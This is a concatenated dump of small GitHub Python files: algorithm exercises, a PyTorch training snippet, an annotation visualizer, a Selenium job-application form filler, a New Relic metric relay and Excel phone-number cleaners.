{epoch_loss}')\n\n\t\ttorch.save(net.state_dict(), f'checkpoints/CP{epoch}.pth')\n\n\t\tif epoch_loss < best_loss:\t\t\n\t\t\ttorch.save(net.state_dict(), f'trained_model/denoiser.pth')\n\t\t\tbest_loss = epoch_loss\n","repo_name":"r0mac09/Convolutional-Denoiser","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1919470153","text":"# N = int(input())\n# arr = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n# ex_result = {}\n# for i in range(N-1):\n# value = []\n# for j in arr:\n# if j%10 == 0:\n# value.append(j*10 + j % 10 + 1)\n# elif j%10 == 9:\n# value.append(j*10 + j % 10 - 1)\n# else:\n# value += [j*10 + j % 10 + 1, j*10 + j % 10 - 1]\n# arr = list(value)\n\n# result = dict()\n# for x in range(10):\n# result[x] = 0\n\n# cnt = 0\n# for y in arr:\n# result[int(str(y)[-1])] += 1\n\n# for key, value in result.items():\n# if key == 0:\n# if value == 0:\n# cnt += 1\n# else:\n# cnt += value * 1\n# elif key == 9:\n# cnt += value * 1\n# else:\n# cnt += value * 2\n# print(cnt)\n# print(len(arr))\n\n# 간단한 코딩으로 각각의 값이 얼마가 나오는지 확인하였다.\n# 계단수는 각각 0, 9의 개수 * 1, 1 ~ 8의 개수 * 2의 형태로 늘어난다.\ndef DP(n):\n if result.get(n):\n return result[n]\n else:\n result[n] = [0] * 10\n arr = DP(n-1)\n for x in range(10):\n if x == 0:\n result[n][x+1] = 1 * arr[x] \n elif x == 9:\n result[n][x-1] = 1 * arr[x]\n else:\n result[n][x+1] = 1 * arr[x]\n result[n][x-1] = 1 * arr[x]\n return result[n]\n\n\nN = int(input())\nresult = {1: [0] * 10}\nfor i in range(1, 10):\n result[1][i] = 1\nprint(sum(DP(N)) % 1000000000)\n","repo_name":"ContecPluto/algorithm","sub_path":"Personal_learning/baekjoon/10844_stairs_number.py","file_name":"10844_stairs_number.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34499467120","text":"import csv\nimport re\nimport os\nimport glob\nfrom shutil import copyfile\nimport datetime\nfrom bs4 import BeautifulSoup\nimport json\nfrom mae_format import MAE_ANN\nfrom nlp_mae_format import NLP_MAE_ANN\nfrom xml.etree import ElementTree\n\n\nclass MaeViz:\n\n def __init__(self, resourDir, corpusDir, outDir, dtd_path):\n self.resourdir = resourDir\n self.corpusDir = corpusDir\n self.outDir = outDir\n self.corpus = []\n self.mae_corpus = {}\n self.dtd_path = dtd_path\n self.DELI = ','\n self.REPORT_ENDING_MARKER = '[- - - - - - - - - - - - - - - - - - -End of Report- - - - - - - - - - - - - - - - - - - -]'\n\n\n def load_corpus(self, warn_and_continue = False):\n\n try:\n self.corpus = self.file_reader(self.corpusDir, self.DELI)\n except:\n print (\"Error for file %s: %s\" % (self.corpusDir, str(self.corpus)))\n\n def load_corpus_dhs(self, warn_and_continue = False):\n dhs_file = glob.glob(self.corpusDir+'/*.tsv')\n try:\n self.corpus = self.file_reader(dhs_file[0], '\\t')\n except:\n print (\"Error for file %s: %s\" % (self.corpusDir, str(dhs_file[0])))\n\n\n def file_reader(self, indir, d):\n out = []\n with open(indir, 'rU') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=d)\n for row in spamreader:\n out += [row]\n return out\n\n def get_idx(self, s, txt):\n txt = txt[:s]\n c = txt.count(\"\\n\\n\") * 2\n return c\n\n def write_html(self, docData, reportName):\n fp = open(os.path.join(self.resourdir, \"template.html\"), \"r\")\n s = fp.read()\n fp.close()\n fp = open(os.path.join(self.outDir, reportName + \".html\"), \"w\")\n fp.write(s.replace(\"TPL_DOCDATA\", json.dumps(docData)))\n fp.close()\n\n def do_parse(self, corpusType):\n if corpusType == 'MAE':\n mae = MAE_ANN( self.resourdir, self.corpusDir, self.outDir, self.dtd_path)\n self.mae_corpus = mae.load_corpus()\n mae.load_dtd()\n for fname in self.mae_corpus:\n span_list = []\n idx = 0\n for ann, soup in enumerate(self.mae_corpus[fname]):\n txtCorpus = soup[1].find('TEXT')\n for sp in soup[1].find_all(mae.schemaElements):\n idx += 1\n try:\n if sp.has_attr('spans'):\n star, end = sp['spans'].split('~')[0], sp['spans'].split('~')[1]\n span_list += [[\"T%d\" % idx, \"ANN\"+str(ann+1)+'_'+sp.name, [star, end]]]\n elif sp.has_attr('start'):\n spans = sp['start'] + '~' + sp['end']\n star, end = spans.split('~')[0], spans.split('~')[1]\n span_list += [[\"T%d\" % idx, \"ANN\" + str(ann + 1) + '_' + sp.name, [star, end]]]\n except:\n continue\n docData = {\"text\": txtCorpus.text,\n \"entities\": [[i[0], i[1], [i[2]]] for i in span_list],\n \"normalizations\": [[]],\n \"attributes\": []}\n # print (self.outDir)\n self.write_html(docData, self.outDir+'/'+fname)\n print('Visualization saved at:', self.outDir)\n elif corpusType == 'NLP_MAE':\n mae = NLP_MAE_ANN( self.resourdir, self.corpusDir, self.outDir, self.dtd_path)\n self.mae_corpus, self.nlp_corpus = mae.load_corpus()\n mae.load_dtd()\n for fname in self.mae_corpus:\n span_list = []\n idx = 0\n for ann, soup in enumerate(self.mae_corpus[fname]):\n txtCorpus = soup[1].find('TEXT')\n for sp in soup[1].find_all(mae.schemaElements):\n idx += 1\n star, end = sp['spans'].split('~')[0], sp['spans'].split('~')[1]\n span_list += [[\"T%d\" % idx, \"ANN\"+str(ann+1)+'_'+sp.name, [star, end]]]\n if fname in self.nlp_corpus:\n for ann, flist in enumerate(self.nlp_corpus[fname]):\n for sp in flist[1]:\n idx += 1\n star, end = sp[4].split('\\\"')[1], sp[4].split('\\\"')[1]\n span_list += [[\"T%d\" % idx, \"NLP\"+str(ann+1)+'_'+sp[9].split('\\\"')[1], [star, end]]]\n docData = {\"text\": txtCorpus.text,\n \"entities\": [[i[0], i[1], [i[2]]] for i in span_list],\n \"normalizations\": [[]],\n \"attributes\": []}\n self.write_html(docData, self.outDir+'/'+fname)\n print ('Visualization saved at:', self.outDir)\n\n","repo_name":"sunyangfu/IAA_Calculator","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":4923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"69814459102","text":"from functools import reduce\n#S:-1,M:0,L:1\ndata=[[1,-1,-1],[1,0,-1],[1,0,1],[1,-1,1],[1,-1,-1],[2,-1,-1],[2,0,-1],[2,0,1],[2,1,1],[2,1,1],[3,1,1]]\nalpha=1\ndef prior(data):\n y=list(map(lambda x:abs(x[-1]+1)/2,data))\n y1=reduce(lambda x,y:x+y,y)/len(y)\n index=[[],[]]\n for i in range(len(y)):\n if y[i]==0:\n index[0].append(i)\n else:\n index[1].append(i)\n return [1-y1,y1],index\ndef cal(x,xl,l):\n num=0\n for i in l:\n if xl[i] == x:\n num = num + 1\n return (num+alpha) /(len(l)+alpha*3)\ndef likelihood(data,x1,x2):\n x_1=list(map(lambda x:x[0],data))\n x_2=list(map(lambda x:x[1],data))\n y=list(map(lambda x:x[-1],data))\n prior_y,index=prior(data)\n p_x1_y0=cal(x1,x_1,index[0])\n p_x1_y1=cal(x1,x_1,index[1])\n p_x2_y0=cal(x2,x_2,index[0])\n p_x2_y1=cal(x2,x_2,index[1])\n\n p_y0=p_x1_y0*p_x2_y0*prior_y[0]\n\n p_y1=p_x1_y1 * p_x2_y1 * prior_y[1]\n\n return p_y0,p_y1\n\nif __name__ == '__main__':\n p_y0,p_y1=likelihood(data,1,0)\n print(\"Laplace smooth alpha:\",alpha)\n print(\"class -1:\",p_y0)\n print(\"class 1:\",p_y1)\n print(\"归一化后概率:\")\n print(\"class -1:\", p_y0/(p_y0+p_y1))\n print(\"class 1:\", p_y1/(p_y0+p_y1))\n\n","repo_name":"AladingMagi/statlearn","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38317303419","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def bstFromPreorder(self, preorder: List[int]) -> Optional[TreeNode]:\n if(len(preorder) <= 0):\n return None\n \n root_val = preorder[0]\n rst_start_idx = len(preorder)\n for i, v in enumerate(preorder[1:]):\n if(v > root_val):\n rst_start_idx = i+1\n break\n \n lst = self.bstFromPreorder(preorder[1:rst_start_idx])\n rst = self.bstFromPreorder(preorder[rst_start_idx:])\n \n return TreeNode(root_val, lst, rst)","repo_name":"HarshOza36/LeetCode_Problems","sub_path":"Tree, Graph, BFS, DFS/P1008 - constructBinarySearchTreeFromPreorderTraversal.py","file_name":"P1008 - constructBinarySearchTreeFromPreorderTraversal.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"29704345653","text":"line = input().upper()\nresult = \"\"\ncurr_res = \"\"\n\nfor index, char in enumerate(line):\n\n if char.isdigit():\n if index + 1 < len(line) and line[index + 1].isdigit():\n next_char = line[index + 1]\n digit = int(char + next_char)\n result += curr_res * digit\n curr_res = \"\"\n else:\n digit = int(char)\n result += curr_res * digit\n curr_res = \"\"\n else:\n curr_res += char\n\n\nprint(f\"Unique symbols used: {len(set(result))}\")\nprint(result)\n","repo_name":"KalinaRaycheva/Training","sub_path":"Python/01_Courses_in_SoftUni/02_Python_Fundamentals/16_Text_Processing_Exercise/09_rage_quit.py","file_name":"09_rage_quit.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36568222287","text":"#Calcule e apresente o valor do volume de uma lata de óleo\r\n#utilizando a fórmula: VOLUME = 3.14159 * RAIO / 2 * ALTURA.\r\n\r\nprint(\"Calculando o valor do volume de uma lata de óleo!\")\r\n\r\nALTURA = float(input(\"Digite o valor do altura: \"))\r\nRAIO = float(input(\"Digite o valor do raio: \"))\r\n\r\nVOLUME = (3.14159 * RAIO )/(2 * ALTURA)\r\n\r\nprint(\"O volume da lata é igaul a: %f\" %VOLUME)\r\n","repo_name":"LuanaFerreiraSilva/atividades404","sub_path":"atividade sequencia_q15.py","file_name":"atividade sequencia_q15.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40625904311","text":"\nfrom fatools.lib.utils import cout, cerr\nfrom fatools.lib.analytics.export import export_flat\nfrom subprocess import Popen, PIPE\n\nclass LianResult(object):\n\n def __init__( self, output, error, n ):\n self.output = output.decode('ASCII')\n self.error = error\n self.ld = ''\n self.pval = ''\n self.n = n\n self.parse()\n\n def __len__(self):\n return self.n\n\n def get_LD(self):\n return self.ld\n\n def get_pvalue(self):\n return self.pval\n\n def get_output(self):\n return self.output\n\n def parse(self):\n for line in self.output.split('\\n'):\n if line.startswith('St. IA'):\n self.ld = line[6:].strip()\n elif line.startswith('P'):\n self.pval = line[2:].strip()\n\n\ndef run_lian( analytical_sets, dbh ):\n\n results = []\n\n for analytical_set in analytical_sets:\n\n data_set = analytical_set.allele_df.mlgt\n\n if len(data_set) <= 2:\n r = LianResult( output = b'', error = b'', n = len(data_set) )\n r.ld = '-'\n r.pval = '-'\n results.append( (analytical_set.label, r) )\n continue\n\n p = Popen([\"lian\"],\n stdin=PIPE, stdout=PIPE, stderr=PIPE,\n close_fds=True)\n export_flat( analytical_set, dbh, p.stdin )\n #p.stdin.write( export_flat( analytical_set ).read() )\n p.stdin.close()\n\n result = LianResult( output = p.stdout.read(), error = p.stderr.read(), n = len(data_set) )\n results.append( (analytical_set.label, result) )\n\n return results\n","repo_name":"trmznt/fatools","sub_path":"fatools/lib/analytics/ld_lian.py","file_name":"ld_lian.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"7"} +{"seq_id":"11494772724","text":"# -*- coding: ISO-8859-1 -*-\r\nimport configparser\r\nimport os.path\r\nimport subprocess\r\n\r\nimport pymsgbox\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom win32api import GetSystemMetrics\r\n\r\ncfg = configparser.ConfigParser()\r\ncfg.read('CONFIG.ini', encoding='utf-8')\r\n\r\nnome = cfg.get('config', 'nome')\r\ncpf = cfg.get('config', 'cpf')\r\nrg = cfg.get('config', 'rg')\r\ngenero = cfg.get('config', 'genero')\r\norientacao = cfg.get('config', 'orientacao')\r\nestadocivil = cfg.get('config', 'estadocivil')\r\nfoto = cfg.get('config', 'foto')\r\ncurriculo = cfg.get('config', 'curriculo')\r\nemail = cfg.get('config', 'email')\r\nsenha = cfg.get('config', 'senha')\r\nnascimento = cfg.get('config', 'nascimento')\r\ntel = cfg.get('config', 'tel')\r\nwhats = cfg.get('config', 'whats')\r\npai = cfg.get('config', 'pai')\r\nprofpai = cfg.get('config', 'profpai')\r\nmae = cfg.get('config', 'mae')\r\nprofmae = cfg.get(u'config', 'profmae')\r\ncep = cfg.get('config', 'cep')\r\nnumero = cfg.get('config', 'numero')\r\ncomp = cfg.get('config', 'comp')\r\nestado_natur = cfg.get('config', 'estado_natur')\r\ncidade_natur = cfg.get('config', 'cidade_natur')\r\nraca = cfg.get('config', 'raca')\r\nface = cfg.get('config', 'face')\r\nlinkedin = cfg.get('config', 'linkedin')\r\ngithub = cfg.get('config', 'github')\r\nescola = cfg.get('config', 'escola')\r\nsituacao = cfg.get('config', 'situacao')\r\nestudando = cfg.get('config', 'estudando')\r\nturno = cfg.get('config', 'turno')\r\nescolaEnt = cfg.get('config', 'escolaEnt')\r\nidioma = cfg.get('config', 'idioma')\r\nnivel = cfg.get('config', 'nivel')\r\nobsIdioma = cfg.get('config', 'obsIdioma')\r\nexp = cfg.get('config', 'exp')\r\ncursos = cfg.get('config', 'cursos')\r\njs = cfg.get('config', 'js')\r\njsExp = cfg.get('config', 'jsExp')\r\njava = cfg.get('config', 'java')\r\njavaExp = cfg.get('config', 'javaExp')\r\npython = cfg.get('config', 'python')\r\npythonExp = cfg.get('config', 'pythonExp')\r\ngo = cfg.get('config', 'go')\r\ngoExp = cfg.get('config', 'goExp')\r\ndelphi = cfg.get('config', 'delphi')\r\ndelphiExp = cfg.get('config', 'delphiExp')\r\nc = cfg.get('config', 'c')\r\ncExp = cfg.get('config', 'cExp')\r\ncpp = cfg.get('config', 'cpp')\r\ncppExp = cfg.get('config', 'cppExp')\r\ncsharp = cfg.get('config', 'csharp')\r\ncsharpExp = cfg.get('config', 'csharpExp')\r\nr = cfg.get('config', 'r')\r\nrExp = cfg.get('config', 'rExp')\r\nphp = cfg.get('config', 'php')\r\nphpExp = cfg.get('config', 'phpExp')\r\nrust = cfg.get('config', 'rust')\r\nrustExp = cfg.get('config', 'rustExp')\r\nkotlin = cfg.get('config', 'kotlin')\r\nkotlinExp = cfg.get('config', 'kotlinExp')\r\nswift = cfg.get('config', 'swift')\r\nswiftExp = cfg.get('config', 'swiftExp')\r\nsabendo = cfg.get('config', 'sabendo')\r\nmotivo = cfg.get('config', 'motivo')\r\n\r\ndef Acessar():\r\n print('Abriu o Chrome...')\r\n\r\n navegador.get('https://t-systems.proway.com.br/inscricao/')\r\n print('Abriu o site...')\r\n navegador.set_window_size(width=GetSystemMetrics(0) / 1.3, height=GetSystemMetrics(1) / 1.05)\r\n print('Alterou o tamanho da janela...')\r\n\r\n print(\"Preenchendo os dados...\")\r\n\r\n # preenche o estado primeiro e a cidade por último para não ter problema com delay...\r\n Preencher('estadoNascimento', estado_natur, 'name')\r\n\r\n Preencher('nome', nome, 'name')\r\n Preencher('cpf', cpf, 'name')\r\n Preencher('rg', rg, 'name')\r\n Preencher('genero', genero, 'name')\r\n Preencher('orientacaoSexual', orientacao, 'name')\r\n Preencher('estadoCivil', estadocivil, 'name')\r\n Preencher('foto', foto, 'name')\r\n Preencher('file', curriculo, 'name')\r\n Preencher('email', email, 'name')\r\n Preencher('email_conf', email, 'name')\r\n Preencher('senha', senha, 'name')\r\n Preencher('senha_conf', senha, 'name')\r\n Preencher('dataNascimento', nascimento, 'name')\r\n Preencher('telefone', tel, 'name')\r\n Preencher('celular', whats, 'name')\r\n Preencher('nomepai', pai, 'name')\r\n Preencher('profissaopai', profpai, 'name')\r\n Preencher('nomemae', mae, 'name')\r\n Preencher('profissaomae', profmae, 'name')\r\n Preencher('cep', cep, 'name')\r\n Preencher('numero', numero, 'name')\r\n Preencher('complemento', comp, 'name')\r\n Preencher('raca', raca, 'name')\r\n Preencher('facebook', face, 'name')\r\n Preencher('linkedin', linkedin, 'name')\r\n Preencher('github', github, 'name')\r\n Preencher('escolaridade', escola, 'name')\r\n Preencher('situacaoEstudo', situacao, 'name')\r\n\r\n if estudando == 'Sim':\r\n Clicar('/html/body/div/div/div/form/div/div[5]/div[1]/div[3]/div[2]/button[2]', 'xpath')\r\n Preencher('escolaturno', turno, 'name')\r\n Preencher('escola', escolaEnt, 'name')\r\n\r\n Preencher('idioma', idioma, 'name')\r\n Preencher('idiomaNivel', nivel, 'name')\r\n Preencher('/html/body/div/div/div/form/div/div[5]/div[3]/div[3]/input', obsIdioma, 'xpath')\r\n Preencher('empregosAnteriores', exp, 'name')\r\n Preencher('outrosCursosAperfeicoamento', cursos, 'name')\r\n\r\n if js == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[1]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[1]/select', jsExp, 'xpath')\r\n\r\n if java == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[2]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[2]/select', javaExp, 'xpath')\r\n\r\n if python == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[3]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[3]/select', pythonExp, 'xpath')\r\n\r\n if go == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[4]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[4]/select', goExp, 'xpath')\r\n\r\n if delphi == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[5]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[5]/select', delphiExp, 'xpath')\r\n\r\n if c == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[6]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[6]/select', cExp, 'xpath')\r\n\r\n if cpp == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[7]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[7]/select', cppExp, 'xpath')\r\n\r\n if csharp == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[8]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[8]/select', csharpExp, 'xpath')\r\n\r\n if r == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[9]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[9]/select', rExp, 'xpath')\r\n\r\n if php == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[10]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[10]/select', phpExp, 'xpath')\r\n\r\n if rust == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[11]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[11]/select', rustExp, 'xpath')\r\n\r\n if kotlin == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[12]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[12]/select', kotlinExp, 'xpath')\r\n\r\n if swift == \"Sim\":\r\n Clicar('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[13]/label/input', 'xpath')\r\n navegador.implicitly_wait(5)\r\n Preencher('/html/body/div/div/div/form/div/div[6]/div[3]/div/div/div/div[13]/select', swiftExp, 'xpath')\r\n\r\n Preencher('comoFicouSabendo', sabendo, 'name')\r\n Preencher('porqueQuerSerSelecionado', motivo, 'name')\r\n\r\n Preencher('codCidadeNascimento', cidade_natur, 'name')\r\n\r\n Clicar('maior', 'name')\r\n\r\n pymsgbox.alert(\"Processo concluído. Verifique se todos os dados foram preenchidos corretamente e se o envio ocorreu normalmente e clique em OK para finalizar o navegador\")\r\n navegador.close()\r\n\r\ndef Preencher(campo, form, type):\r\n msgOK = f'Preencheu o campo \"{campo}\"'\r\n msgFalha = f'Falha ao preencher o campo \"{campo}\"...'\r\n try:\r\n if type == 'name':\r\n navegador.find_element(By.NAME, campo).send_keys(form)\r\n if type == 'xpath':\r\n navegador.find_element(By.XPATH, campo).send_keys(form)\r\n print(msgOK)\r\n except:\r\n print(msgFalha)\r\n\r\ndef Clicar(campo, type):\r\n msgOK = f'Clicou no campo \"{campo}\"'\r\n msgFalha = f'Falha ao clicar no campo \"{campo}\"...'\r\n try:\r\n if type == 'name':\r\n navegador.find_element(By.NAME, campo).click()\r\n elif type == 'xpath':\r\n navegador.find_element(By.XPATH, campo).click()\r\n print(msgOK)\r\n except:\r\n print(msgFalha)\r\n\r\nif os.path.exists(r'C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\'):\r\n output = subprocess.check_output(\r\n r'wmic datafile where name=\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\" get Version /value',\r\n shell=True\r\n)\r\n chrome_version = output.decode('utf-8').split('.')\r\n chrome_version = chrome_version[0].replace('\\n', '')\r\n chrome_version = chrome_version.replace('Version=', '')\r\n chrome_version = int(chrome_version)\r\n\r\n if chrome_version == 103:\r\n s = r'bin\\chromedriver_103.exe'\r\n print('Google Chrome installed in version 103')\r\n print('Google Chrome instalado na versão 103')\r\n navegador = webdriver.Chrome(s)\r\n Acessar()\r\n elif chrome_version == 104:\r\n s = r'bin\\chromedriver_104.exe'\r\n print('Google Chrome installed in version 104')\r\n print('Google Chrome instalado na versão 104')\r\n navegador = webdriver.Chrome(s)\r\n Acessar()\r\n else:\r\n print('Please, install the last version of Google Chrome in your system before use this software')\r\n print('Por favor, instale a última versão do Google Chrome antes de usar esse software')\r\n\r\nelse:\r\n print('Google chrome não instalado na pasta padrão...')","repo_name":"rafaelgioffi/AutoForm","sub_path":"AutoForm.py","file_name":"AutoForm.py","file_ext":"py","file_size_in_byte":10991,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21618958853","text":"#!/bin/env python\n\n\"\"\"\nScript to pipe measures up to the New Relic collector.\n\nIt expects its input to be of the form:\n\n ...\n\nwhere each pair is separated by spaces and consists of:\n\n : a string with a valid New Relic metric name\n : a float\n\nSeveral pairs can be given in the same line (separated by spaces), or in\nmultiple input lines (but a pair can not be split into consecutive lines,\notherwise the first line is ignored as not having an even number of tokens).\n\"\"\"\n\nimport sys\nimport fileinput\nimport newrelic.config\nimport newrelic.api.application\nimport newrelic.api.transaction\n\n# In a future version of this script new features will added,\n# like to send strings via:\n#\n# add_custom_parameters()\n#\n# to add custom parameters, but instead in this first version\n# we use only 'newrelic.api.application.record_custom_metrics()'\n# to relay the custom metrics to New Relic.\n\n\ndef relay_info_to_new_relic(newr_app):\n \"\"\" Relays the fileinput.input() to the New Relic collector\n\n Parameters:\n newr_app: a newrelic.api.application.Application object\n\n Return Value:\n not applicable\n\n It creates a New Relic transaction on that application,\n and relays the custom metrics from fileinput.input() to\n New Relic.\n \"\"\"\n\n newr_trans = newrelic.api.transaction.Transaction(newr_app, True)\n newr_trans.set_transaction_name(\"ftrace\", \"Pipe\")\n newr_trans.background_task = True\n newr_trans.suppress_apdex = True\n newr_trans.capture_params = False\n newr_trans.autorum_disabled = True\n newr_trans.suppress_transaction_trace = True\n newr_trans.enabled = True\n\n for line in fileinput.input():\n simpler_line = line.strip()\n\n if not simpler_line:\n # empty input line: ignore it\n continue\n\n fields = simpler_line.split()\n\n if fields[0][0] == '#':\n # a comment\n continue\n\n if len(fields) % 2 == 0:\n # assume it is a sequence of Key Value to send to New Relic\n newrelic_metrics_dict = {}\n while fields:\n metric_name = fields.pop(0).strip()\n metric_value = fields.pop(0).strip()\n newrelic_metrics_dict[metric_name] = float(metric_value)\n\n newr_trans.record_custom_metrics(newrelic_metrics_dict.iteritems())\n continue\n\n sys.stderr.write(\"WARNING: Ignoring line '%s'\\nIt doesn't have an \"\n \"even number of fields in the format \"\n \"'key numeric-value...' to relay to New Relic.\\n\" %\n line.rstrip())\n\n # stop recording\n newr_trans.stop_recording()\n\n\n\ndef main():\n \"\"\"Main function\"\"\"\n\n # debug_level = \"DEBUG\"\n debug_level = \"INFO\"\n app_name = \"ftrace_to_NewRelic\"\n newrelic.config.initialize(log_file=\"/tmp/ftrace_newrelic_log.log\",\n log_level=debug_level)\n newrelic_app = newrelic.api.application.application_instance(app_name)\n settings = newrelic_app.global_settings\n settings.enabled = True\n newrelic_app.activate()\n\n relay_info_to_new_relic(newrelic_app)\n\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"je-nunez/kernel_ftrace_to_NewRelic","sub_path":"relay_to_newrelic_collector.py","file_name":"relay_to_newrelic_collector.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9496678297","text":"from formattelnumbers import cleaningTelNum\n\n\n#Fix telephone format\ndef fix_telephone_format(telephoneNo, telCountry = None):\n telephoneNo = cleaningTelNum.remove_spaces_from_tel(telephoneNo)\n telephoneNo = cleaningTelNum.remove_plus_from_tel(telephoneNo)\n telephoneNo = cleaningTelNum.remove_country_code(telephoneNo, telCountry)\n telephoneNo = cleaningTelNum.place_zero_at_first(telephoneNo)\n telephoneNo = cleaningTelNum.remove_all_characters(telephoneNo)\n return telephoneNo\n\n\n\ndef get_all_values_by_cell_letter(letter, currentSheet):\n for row in range(1, currentSheet.max_row + 1):\n for column in letter:\n cell_name = \"{}{}\".format(column, row)\n #take old data and send it to fixing\n telephoneNo = fix_telephone_format(currentSheet[cell_name].value, \"SE\")\n #put new data in cell\n\n if cell_name == (letter + \"1\"):\n currentSheet[cell_name].value = \"telephone\"\n else:\n currentSheet[cell_name].value = telephoneNo\n\n #print(\"Cell on position: {} has value: {}\".format(cell_name, currentSheet[cell_name].value))\n\n\ndef find_specific_cell(currentSheet):\n for row in range(1, currentSheet.max_row + 1):\n for column in \"ABCDEFGHIJKL\": # Here you can add or reduce the columns\n cell_name = \"{}{}\".format(column, row)\n if currentSheet[cell_name].value == \"telephone\":\n #print(\"Specific cell on position: {} has value: {}\".format(cell_name, currentSheet[cell_name].value))\n return cell_name\n\ndef get_column_letter(specificCellLetter): #gets just cell letter from cell name (ex gets f from f1)\n letter = specificCellLetter[0:-1]\n print(letter)\n return letter\n\n\n\n#################\n#Checking if the uploaded file is safe to work with\ndef checkIfFileIsSafe(documentName):\n fileExtenstion = str(documentName)[-4:]\n\n if fileExtenstion in ('xlsx','xlsm'):\n return 'safe_to_work'\n else:\n return 'not_safe_to_work'","repo_name":"AesisGit/inaivatools","sub_path":"formattelnumbers/cleaningTelNumPreparation.py","file_name":"cleaningTelNumPreparation.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22185628815","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # --------------------------------------------------------------\n # Homepage, etc\n # --------------------------------------------------------------\n path('', views.index),\n path('login_submission', views.login_submission),\n path('registration_submission', views.registration_submission),\n path('quotes', views.quotes),\n path('logout', views.logout),\n # --------------------------------------------------------------\n # quotes_submission, etc\n # --------------------------------------------------------------\n path('quote_post', views.quote_post),\n path('like/', views.like),\n # path('dislike/', views.dislike),\n path('user/', views.user_quotes),\n path('edit_account', views.edit_account),\n path('update_account', views.update_account),\n path('delete_comment/', views.delete_comment),\n]","repo_name":"JJWren/1PythonDjango_IntialProjects","sub_path":"2_django_fullstack/2_belt_exam_proj/belt_exam_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} 